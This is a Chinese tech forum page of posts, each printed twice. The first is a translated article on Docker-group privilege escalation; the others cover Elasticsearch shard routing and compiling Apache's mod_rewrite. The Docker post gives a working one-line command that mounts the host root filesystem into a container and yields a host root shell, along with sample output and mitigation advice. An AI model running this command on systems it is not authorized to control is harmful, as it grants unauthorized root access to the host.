Docker 安全:通过 Docker 提升权限

大数据/云计算Ansible 发表了文章 • 0 个评论 • 1152 次浏览 • 2015-06-22 14:37 • 来自相关话题

如果你对 Docker 不熟悉的话,简单来说,Docker 是一个轻量级的应用容器。和常见的虚拟机类似,但是和虚拟机相比,资源消耗更低。并且,使用和 GitHub 类似的被 commit 的容器,非常容易就能实现容器内指定运行环境中的应用打包和部署。

问题
如果你有服务器上一个普通用户的账号,如果这个用户被加入了 docker 用户组,那么你很容易就能获得宿主机的 root 权限。

黑魔法:
docker run -v /:/hostOS -i -t chrisfosterelli/rootplease

输出如下:johndoe@testmachine:~$ docker run -v /:/hostOS -i -t chrisfosterelli/rootplease
[...]
You should now have a root shell on the host OS
Press Ctrl-D to exit the docker instance / shell
# whoami
root #此处是容器内部,但是容器已经 chroot /hostOS,所以相当于直接获取了宿主机的 root 权限。
#

译者一直以为是 Ctrl-D 之后,宿主机的 shell 变成 root,实际上不是。
咨询了作者 Chris Foster 得知,是在容器内获得宿主机的 root 权限。
是不是想起了以前译者在 Docker 安全 中提到的容器内部的 UID=0 对容器外部某个不明程序执行了 chmod +s?


解释
当然,所有的解释汇成一句话,应该就是:docker 组内用户执行命令的时候会自动在所有命令前添加 sudo。因为设计或者其他的原因,Docker 给予所有 docker 组的用户相当大的权力(虽然权力只体现在能访问 /var/run/docker.sock 上面)。

默认情况下,Docker 软件包是会默认添加一个 docker 用户组的。Docker 守护进程会允许 root 用户和 docker 组用户访问 Docker。给用户提供 Docker 权限和给用户无需认证便可以随便获取的 root 权限差别不大。

解决方案
对于 Docker 来说可能很难修复,因为涉及到他们的架构问题,所以需要重写非常多的关键代码才能避免这个问题。我个人的建议是不要使用 docker 用户组。当然,Docker 官方文档中最好也很清楚地写明这一点。不要让新人不懂得“和 root 权限差别不大”是什么意思。

Docker 官方也意识到了这个问题,尽管他们并没有很明显地表明想去修复它。在他们的安全文档中,他们也的确表示 docker 用户组的权限和 root 权限差别不大,并且敬告用户慎重使用。

漏洞详情
上面那条命令 docker run -v /:/hostOS -i -t chrisfosterelli/rootplease,主要的作用是:从 Docker Hub 上面下载我的镜像,然后运行。参数 -v 将容器外部的目录 / 挂载到容器内部 /hostOS,并且使用 -i 和 -t 参数进入容器的 shell。

这个容器的启动脚本是 exploit.sh,主要内容是:chroot 到容器的 /hostOS (也就是宿主机的 /),然后获取到宿主机的 root 权限。

当然可以从这个衍生出非常多的提权方法,但是这个方法是最直接的。

本文中所提到的代码托管在 Github(https://github.com/chrisfosterelli/dockerrootplease),镜像在 Docker Hub(https://registry.hub.docker.com/u/chrisfosterelli/rootplease/)。
翻译原文连接:http://mp.weixin.qq.com/s?__biz=MzA5OTAyNzQ2OA==&mid=206160672&idx=1&sn=ffe9dc83d0a486e044ff45e025465593&3rd=MzA3MDU4NTYzMw==&scene=6#rd 查看全部
如果你对 Docker 不熟悉的话,简单来说,Docker 是一个轻量级的应用容器。和常见的虚拟机类似,但是和虚拟机相比,资源消耗更低。并且,使用和 GitHub 类似的被 commit 的容器,非常容易就能实现容器内指定运行环境中的应用打包和部署。

问题
如果你有服务器上一个普通用户的账号,如果这个用户被加入了 docker 用户组,那么你很容易就能获得宿主机的 root 权限。

黑魔法:
docker run -v /:/hostOS -i -t chrisfosterelli/rootplease

输出如下:
johndoe@testmachine:~$ docker run -v /:/hostOS -i -t chrisfosterelli/rootplease
[...]
You should now have a root shell on the host OS
Press Ctrl-D to exit the docker instance / shell
# whoami
root #此处是容器内部,但是容器已经 chroot /hostOS,所以相当于直接获取了宿主机的 root 权限。
#


译者一直以为是 Ctrl-D 之后,宿主机的 shell 变成 root,实际上不是。
咨询了作者 Chris Foster 得知,是在容器内获得宿主机的 root 权限。
是不是想起了以前译者在 Docker 安全 中提到的容器内部的 UID=0 对容器外部某个不明程序执行了 chmod +s?



解释
当然,所有的解释汇成一句话,应该就是:docker 组内用户执行命令的时候会自动在所有命令前添加 sudo。因为设计或者其他的原因,Docker 给予所有 docker 组的用户相当大的权力(虽然权力只体现在能访问 /var/run/docker.sock 上面)。

默认情况下,Docker 软件包是会默认添加一个 docker 用户组的。Docker 守护进程会允许 root 用户和 docker 组用户访问 Docker。给用户提供 Docker 权限和给用户无需认证便可以随便获取的 root 权限差别不大。

解决方案
对于 Docker 来说可能很难修复,因为涉及到他们的架构问题,所以需要重写非常多的关键代码才能避免这个问题。我个人的建议是不要使用 docker 用户组。当然,Docker 官方文档中最好也很清楚地写明这一点。不要让新人不懂得“和 root 权限差别不大”是什么意思。

Docker 官方也意识到了这个问题,尽管他们并没有很明显地表明想去修复它。在他们的安全文档中,他们也的确表示 docker 用户组的权限和 root 权限差别不大,并且敬告用户慎重使用。

漏洞详情
上面那条命令 docker run -v /:/hostOS -i -t chrisfosterelli/rootplease,主要的作用是:从 Docker Hub 上面下载我的镜像,然后运行。参数 -v 将容器外部的目录 / 挂载到容器内部 /hostOS,并且使用 -i 和 -t 参数进入容器的 shell。

这个容器的启动脚本是 exploit.sh,主要内容是:chroot 到容器的 /hostOS (也就是宿主机的 /),然后获取到宿主机的 root 权限。

当然可以从这个衍生出非常多的提权方法,但是这个方法是最直接的。

本文中所提到的代码托管在 Github(https://github.com/chrisfosterelli/dockerrootplease),镜像在 Docker Hub(https://registry.hub.docker.com/u/chrisfosterelli/rootplease/)。
翻译原文连接:http://mp.weixin.qq.com/s?__biz=MzA5OTAyNzQ2OA==&mid=206160672&idx=1&sn=ffe9dc83d0a486e044ff45e025465593&3rd=MzA3MDU4NTYzMw==&scene=6#rd

Elasticsearch 分片交互过程详解

大数据/云计算Ansible 发表了文章 • 0 个评论 • 1946 次浏览 • 2015-06-18 01:40 • 来自相关话题

一、Elasticseach如何将数据存储到分片中
二、主分片与复制分片如何交互
1、索引与删除一个文档
2、更新一个文档
3、检索文档

一、Elasticseach如何将数据存储到分片中

问题:当我们要在ES中存储数据的时候,数据应该存储在主分片和复制分片中的哪一个中去;当我们在ES中检索数据的时候,又是怎么判断要查询的数据是属于哪一个分片。 

数据存储到分片的过程是一定规则的,并不是随机发生的。

规则:shard = hash(routing) % number_of_primary_shards

Routing值可以是一个任意的字符串,默认情况下,它的值为存数数据对应文档 _id 值,也可以是用户自定义的值。Routing这个字符串通过一个hash的函数处理,并返回一个数值,然后再除以索引中主分片的数目,所得的余数作为主分片的编号,取值一般在0到number_of_primary_shards - 1的这个范围中。通过这种方法计算出该数据是存储到哪个分片中。

正是这种路由机制,导致了主分片的个数为什么在索引建立之后不能修改。对已有索引主分片数目的修改直接会导致路由规则出现严重问题,部分数据将无法被检索。
 
二、主分片与复制分片如何交互
为了说明这个问题,我用一个例子来说明。





在上面这个例子中,有三个ES的node,其中每一个index中包含两个primary shard,每个primary shard拥有一个replica shard。下面从几种常见的数据操作来说明二者之间的交互情况。
 
1、索引与删除一个文档





这两种过程均可以分为三个过程来描述:
阶段1:客户端发送了一个索引或者删除的请求给node 1。

阶段2:node 1通过请求中文档的 _id 值判断出该文档应该被存储在shard 0 这个分片中,并且node 1知道shard 0的primary shard位于node 3这个节点上。因此node 1会把这个请求转发到node 3。

阶段3:node 3在shard 0 的primary shard上执行请求。如果请求执行成功,它node 3将并行地将该请求发给shard 0的其余所有replica shard上,也就是存在于node 1和node 2中的replica shard。如果所有的replica shard都成功地执行了请求,那么将会向node 3回复一个成功确认,当node 3收到了所有replica shard的确认信息后,则最后向用户返回一个Success的消息。
 
2、更新一个文档





该过程可以分为四个阶段来描述:
阶段1:客户端向node 1发送一个文档更新的请求。

阶段2:同样的node 1通过请求中文档的 _id 值判断出该文档应该被存储在shard 0 这个分片中,并且node 1知道shard 0的primary shard位于node 3这个节点上。因此node 1会把这个请求转发到node 3。

阶段3:node 3从文档所在的primary shard中获取到它的JSON文件,并修改其中的_source中的内容,之后再重新索引该文档到其primary shard中。

阶段4:如果node 3成功地更新了文档,node 3将会把文档新的版本并行地发给其余所有的replica shard所在node中。这些node也同样重新索引新版本的文档,执行后则向node 3确认成功,当node 3接收到所有的成功确认之后,再向客户端发送一个更新成功的信息。
 
3、检索文档
CRUD这些操作的过程中一般都是结合一些唯一的标记例如:_index,_type,以及routing的值,这就意味在执行操作的时候都是确切的知道文档在集群中的哪个node中,哪个shard中。

而检索过程往往需要更多的执行模式,因为我们并不清楚所要检索的文档具体位置所在, 它们可能存在于ES集群中个任何位置。因此,一般情况下,检索的执行不得不去询问index中的每一个shard。

但是,找到所有匹配检索的文档仅仅只是检索过程的一半,在向客户端返回一个结果列表之前,必须将各个shard发回的小片的检索结果,拼接成一个大的已排好序的汇总结果列表。正因为这个原因,检索的过程将分为查询阶段与获取阶段(Query Phase and Fetch Phase)。

Query Phase
在最初的查询过程中,查询请求会广播到index中的每一个primary shard和replica shard中,每一个shard会在本地执行检索,并建立一个优先级队列(priority queue)。这个优先级队列是一个根据文档匹配度这个指标所排序列表,列表的长度由分页参数from和size两个参数所决定。例如:






下面从一个例子中说明这个过程:





Query Phase阶段可以再细分成3个小的子阶段:

子阶段1:客户端发送一个检索的请求给node 3,此时node 3会创建一个空的优先级队列并且配置好分页参数from与size。

子阶段2:node 3将检索请求发送给该index中个每一个shard(这里的每一个意思是无论它是primary还是replica,它们的组合可以构成一个完整的index数据)。每个shard在本地执行检索,并将结果添加到本地优先级队列中。

子阶段3:每个shard返回本地优先级序列中所记录的_id与sort值,并发送node 3。Node 3将这些值合并到自己的本地的优先级队列中,并做全局的排序。
 
Fetch Phase
Query Phase主要定位了所要检索数据的具体位置,但是我们还必须取回它们才能完成整个检索过程。而Fetch Phase阶段的任务就是将这些定位好的数据内容取回并返回给客户端。
 
同样也用一个例子来说明这个过程:





Fetch Phase过程可以分为三个子过程来描述:

子阶段1:node 3获取了所有待检索数据的定位之后,发送一个mget的请求给与数据相关的shard。

子阶段2:每个收到node 3的get请求的shard将读取相关文档_source中的内容,并将它们返回给node 3。

子阶段3:当node 3获取到了所有shard返回的文档后,node 3将它们合并成一条汇总的结果,返回给客户端。 查看全部


一、Elasticseach如何将数据存储到分片中
二、主分片与复制分片如何交互
1、索引与删除一个文档
2、更新一个文档
3、检索文档


一、Elasticseach如何将数据存储到分片中

问题:当我们要在ES中存储数据的时候,数据应该存储在主分片和复制分片中的哪一个中去;当我们在ES中检索数据的时候,又是怎么判断要查询的数据是属于哪一个分片。 

数据存储到分片的过程是一定规则的,并不是随机发生的。

规则:shard = hash(routing) % number_of_primary_shards

Routing值可以是一个任意的字符串,默认情况下,它的值为存数数据对应文档 _id 值,也可以是用户自定义的值。Routing这个字符串通过一个hash的函数处理,并返回一个数值,然后再除以索引中主分片的数目,所得的余数作为主分片的编号,取值一般在0到number_of_primary_shards - 1的这个范围中。通过这种方法计算出该数据是存储到哪个分片中。

正是这种路由机制,导致了主分片的个数为什么在索引建立之后不能修改。对已有索引主分片数目的修改直接会导致路由规则出现严重问题,部分数据将无法被检索。
 
二、主分片与复制分片如何交互
为了说明这个问题,我用一个例子来说明。

a.png

在上面这个例子中,有三个ES的node,其中每一个index中包含两个primary shard,每个primary shard拥有一个replica shard。下面从几种常见的数据操作来说明二者之间的交互情况。
 
1、索引与删除一个文档

b.png

这两种过程均可以分为三个过程来描述:
阶段1:客户端发送了一个索引或者删除的请求给node 1。

阶段2:node 1通过请求中文档的 _id 值判断出该文档应该被存储在shard 0 这个分片中,并且node 1知道shard 0的primary shard位于node 3这个节点上。因此node 1会把这个请求转发到node 3。

阶段3:node 3在shard 0 的primary shard上执行请求。如果请求执行成功,它node 3将并行地将该请求发给shard 0的其余所有replica shard上,也就是存在于node 1和node 2中的replica shard。如果所有的replica shard都成功地执行了请求,那么将会向node 3回复一个成功确认,当node 3收到了所有replica shard的确认信息后,则最后向用户返回一个Success的消息。
 
2、更新一个文档

c.png

该过程可以分为四个阶段来描述:
阶段1
:客户端向node 1发送一个文档更新的请求。

阶段2:同样的node 1通过请求中文档的 _id 值判断出该文档应该被存储在shard 0 这个分片中,并且node 1知道shard 0的primary shard位于node 3这个节点上。因此node 1会把这个请求转发到node 3。

阶段3:node 3从文档所在的primary shard中获取到它的JSON文件,并修改其中的_source中的内容,之后再重新索引该文档到其primary shard中。

阶段4:如果node 3成功地更新了文档,node 3将会把文档新的版本并行地发给其余所有的replica shard所在node中。这些node也同样重新索引新版本的文档,执行后则向node 3确认成功,当node 3接收到所有的成功确认之后,再向客户端发送一个更新成功的信息。
 
3、检索文档
CRUD这些操作的过程中一般都是结合一些唯一的标记例如:_index,_type,以及routing的值,这就意味在执行操作的时候都是确切的知道文档在集群中的哪个node中,哪个shard中。

而检索过程往往需要更多的执行模式,因为我们并不清楚所要检索的文档具体位置所在, 它们可能存在于ES集群中个任何位置。因此,一般情况下,检索的执行不得不去询问index中的每一个shard。

但是,找到所有匹配检索的文档仅仅只是检索过程的一半,在向客户端返回一个结果列表之前,必须将各个shard发回的小片的检索结果,拼接成一个大的已排好序的汇总结果列表。正因为这个原因,检索的过程将分为查询阶段与获取阶段(Query Phase and Fetch Phase)。

Query Phase
在最初的查询过程中,查询请求会广播到index中的每一个primary shard和replica shard中,每一个shard会在本地执行检索,并建立一个优先级队列(priority queue)。这个优先级队列是一个根据文档匹配度这个指标所排序列表,列表的长度由分页参数from和size两个参数所决定。例如:

d.png


下面从一个例子中说明这个过程:

e.png

Query Phase阶段可以再细分成3个小的子阶段:

子阶段1:客户端发送一个检索的请求给node 3,此时node 3会创建一个空的优先级队列并且配置好分页参数from与size。

子阶段2:node 3将检索请求发送给该index中个每一个shard(这里的每一个意思是无论它是primary还是replica,它们的组合可以构成一个完整的index数据)。每个shard在本地执行检索,并将结果添加到本地优先级队列中。

子阶段3:每个shard返回本地优先级序列中所记录的_id与sort值,并发送node 3。Node 3将这些值合并到自己的本地的优先级队列中,并做全局的排序。
 
Fetch Phase
Query Phase主要定位了所要检索数据的具体位置,但是我们还必须取回它们才能完成整个检索过程。而Fetch Phase阶段的任务就是将这些定位好的数据内容取回并返回给客户端。
 
同样也用一个例子来说明这个过程:

f.png

Fetch Phase过程可以分为三个子过程来描述:

子阶段1:node 3获取了所有待检索数据的定位之后,发送一个mget的请求给与数据相关的shard。

子阶段2:每个收到node 3的get请求的shard将读取相关文档_source中的内容,并将它们返回给node 3。

子阶段3:当node 3获取到了所有shard返回的文档后,node 3将它们合并成一条汇总的结果,返回给客户端。

启动docker错误信息 Error loading docker apparmor profile: exec: "/sbin/apparmor_parser"

大数据/云计算Ansible 回复了问题 • 2 人关注 • 1 个回复 • 1617 次浏览 • 2015-06-17 19:58 • 来自相关话题

为apache单独编译mod_rewrite.so

运维技术OpenSkill 发表了文章 • 1 个评论 • 999 次浏览 • 2015-06-09 22:59 • 来自相关话题

问题描述:
在编译安装完了apache之后,发现需要rewrite功能,但是用/usr/local/apache2/bin/apachectl -M命令发现没有rewrite_module
解决办法:
1)重现编译apache
你可以查看/usr/local/apache2/build/config.nice 这个文件来查看你apache的编译参数,然后重新编译你只需要添加--enable-rewrite参数就行。
2)手动添加mod_rewrite模块
首先在apache的源码安装目录中寻找mod_rewrite.c文件# find / -name mod_rewrite.c
/usr/local/src/httpd-2.2.12/modules/mappers/mod_rewrite.c //apache的源码安装目录中的mod_rewrite.c文件

# cd /usr/local/src/httpd-2.2.12/modules/mappers/
# /usr/local/apache2/bin/apxs -c mod_rewrite.c //apxs应指定绝对路径,在你编译安装apache的bin目录里

# /usr/local/apache2/bin/apxs -i -a -n mod_rewrite mod_rewrite.la
如果这个过程中没有出错的话,在你的apache的modules目录中编译出一个mod_rewrite.so文件编辑httpd.conf文件,确认httpd.conf中已经包含mod_rewrite.so的加载语句,如下:
LoadModule rewrite_module modules/mod_rewrite.so
这时,你的apache应该已经支持rewrite了,    注:完成之后,记得重启服务器apache。
 
重启apache的过程中你可能还会遇到如下问题:httpd: Syntax error on line 54 of /usr/local/apache2/conf/httpd.conf: Can't locate API module structure `mod_rewrite_module' in file /usr/local/apache2/modules/mod_rewrite.so: /usr/local/apache2/modules/mod_rewrite.so: undefined symbol: mod_rewrite_module
或者
Syntax error on line 329 of /usr/local/apache2/conf/httpd.conf: Can`t loacte API module staructure `mod_rewrite_module` in file /usr/local/apache2/modules/mod_rewrite.so:/usr/local/apache2/lib/libapr-0.so.0:undefined symbol:mod_rewrite_module
解决方法如下:修改 httpd.conf,将
LoadModule mod_rewrite_module modules/mod_rewrite.so
改为
LoadModule rewrite_module modules/mod_rewrite.so如果重启apache出现这个错误  module rewrite_module is built-in and can`t be loaded
表示模块是内建的,不用再调入,注释掉#LoadModule rewrite_module modules/mod_rewrite.so语法检查:# /usr/local/apache2/bin/apachectl configtest
Syntax OK
这时,你的apache应该已经支持rewrite了。需要注意的配置,配置虚拟主机的时候要类似如下设置才可以生效:<VirtualHost *:80>
DocumentRoot /var/www/www/devopsh/
ServerName www.devopsh.com
<Directory /var/www/www/devopsh/>
Options FollowSymLinks
AllowOverride All
order allow,deny
Allow from all
</Directory>
</VirtualHost>

如果AllowOverride设置为none的话,apache会不读取网站的.htaccess文件!上面虚拟主机只是针对指定文件夹可以读取到.htaccess文件了,如果要针对所有的文件夹都支持.htaccess,修改主配置文件httpd.conf,修改如下:

<Directory />
Options FollowSymLinks
AllowOverride None
Order deny,allow
Deny from all
Allow from all
</Directory>

把AllowOverride None
"改成"
AllowOverride All
这样所有的文件夹都支持.htaccess了 查看全部
问题描述:
在编译安装完了apache之后,发现需要rewrite功能,但是用/usr/local/apache2/bin/apachectl -M命令发现没有rewrite_module
解决办法:
1)重现编译apache
你可以查看/usr/local/apache2/build/config.nice 这个文件来查看你apache的编译参数,然后重新编译你只需要添加--enable-rewrite参数就行。
2)手动添加mod_rewrite模块
首先在apache的源码安装目录中寻找mod_rewrite.c文件
# find / -name mod_rewrite.c
/usr/local/src/httpd-2.2.12/modules/mappers/mod_rewrite.c //apache的源码安装目录中的mod_rewrite.c文件

# cd /usr/local/src/httpd-2.2.12/modules/mappers/
# /usr/local/apache2/bin/apxs -c mod_rewrite.c //apxs应指定绝对路径,在你编译安装apache的bin目录里

# /usr/local/apache2/bin/apxs -i -a -n mod_rewrite mod_rewrite.la
如果这个过程中没有出错的话,在你的apache的modules目录中编译出一个mod_rewrite.so文件
编辑httpd.conf文件,确认httpd.conf中已经包含mod_rewrite.so的加载语句,如下:
LoadModule rewrite_module modules/mod_rewrite.so
这时,你的apache应该已经支持rewrite了,    注:完成之后,记得重启服务器apache。
 
重启apache的过程中你可能还会遇到如下问题:
httpd: Syntax error on line 54 of /usr/local/apache2/conf/httpd.conf: Can't locate API module structure `mod_rewrite_module' in file /usr/local/apache2/modules/mod_rewrite.so: /usr/local/apache2/modules/mod_rewrite.so: undefined symbol: mod_rewrite_module
或者
Syntax error on line 329 of /usr/local/apache2/conf/httpd.conf: Can`t loacte API module staructure `mod_rewrite_module` in file /usr/local/apache2/modules/mod_rewrite.so:/usr/local/apache2/lib/libapr-0.so.0:undefined symbol:mod_rewrite_module

解决方法如下:
修改 httpd.conf,将
LoadModule mod_rewrite_module modules/mod_rewrite.so
改为
LoadModule rewrite_module modules/mod_rewrite.so
如果重启apache出现这个错误  module rewrite_module is built-in and can`t be loaded
表示模块是内建的,不用再调入,注释掉
#LoadModule rewrite_module modules/mod_rewrite.so
语法检查:
# /usr/local/apache2/bin/apachectl configtest
Syntax OK
这时,你的apache应该已经支持rewrite了。
需要注意的配置,配置虚拟主机的时候要类似如下设置才可以生效:
<VirtualHost *:80>
DocumentRoot /var/www/www/devopsh/
ServerName www.devopsh.com
<Directory /var/www/www/devopsh/>
Options FollowSymLinks
AllowOverride All
order allow,deny
Allow from all
</Directory>
</VirtualHost>

如果AllowOverride设置为none的话,apache会不读取网站的.htaccess文件!
上面虚拟主机只是针对指定文件夹可以读取到.htaccess文件了,如果要针对所有的文件夹都支持.htaccess,修改主配置文件httpd.conf,修改如下:

<Directory />
Options FollowSymLinks
AllowOverride None
Order deny,allow
Deny from all
Allow from all
</Directory>

把AllowOverride None
"改成"
AllowOverride All
这样所有的文件夹都支持.htaccess了